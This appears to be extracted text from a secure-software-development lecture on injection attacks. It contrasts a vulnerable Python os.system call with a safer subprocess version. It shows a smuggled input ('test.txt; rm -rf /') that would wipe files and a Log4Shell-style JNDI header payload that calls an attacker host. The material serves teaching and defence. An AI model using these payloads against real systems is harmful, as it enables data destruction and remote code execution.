COMP3006_Secure_Software_Development Week 6
COMP3006_Secure_Software_Development Week 6
April 2025
2 SQL Injection
4 Command Injection
5 API Security
import o s
u s e r = input ( ” Enter f i l e n a m e : ” )
os . system ( ” cat ” + u s e r )
User input: ‘test.txt; rm -rf /‘
import s u b p r o c e s s
u s e r = input ( ” Enter f i l e n a m e : ” )
s u b p r o c e s s . run ( [ ” cat ” , u s e r ] )
No shell interpretation — safer against injection!
User−Agent : $ { j n d i : l d a p : / / a t t a c k e r . com/ a }
This value is logged, triggering a malicious JNDI lookup.